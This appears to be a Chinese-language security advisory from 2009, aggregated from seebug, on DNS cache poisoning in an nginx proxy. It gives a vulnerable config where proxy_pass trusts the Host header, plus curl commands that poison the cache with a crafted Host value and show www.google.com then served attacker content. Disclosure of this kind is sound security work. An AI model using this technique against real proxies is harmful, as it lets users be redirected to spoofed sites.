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nginx代理DNS缓存域欺骗漏洞

🗓️ 18 Sep 2009 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

nginx DNS缓存域欺骗漏

Code

                                                使用以下nginx.conf:

    events {
      worker_connections  1024;
    }

    http {
      resolver 4.2.2.4;
      server {
        listen 8080;
        location / {
          proxy_pass http://$http_host$request_uri;
        }
      }
    }

然后运行curl验证缓存中毒:

    $ curl -H 'Host: www.google.com.9nyz309.crc32.dempsky.org'
http://127.0.0.1:8080/
    <html>
    <body>
    Ho hum, nothing to see here, move along please.
    </body>
    </html>

    $ curl -H 'Host: www.google.com' http://127.0.0.1:8080/
    <html>
    <body>
    Oops, you shouldn't be asking me for http://www.google.com/!
    </body>
    </html>
                              

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18 Sep 2009 00:00Current
6.9Medium risk
Vulners AI Score6.9
12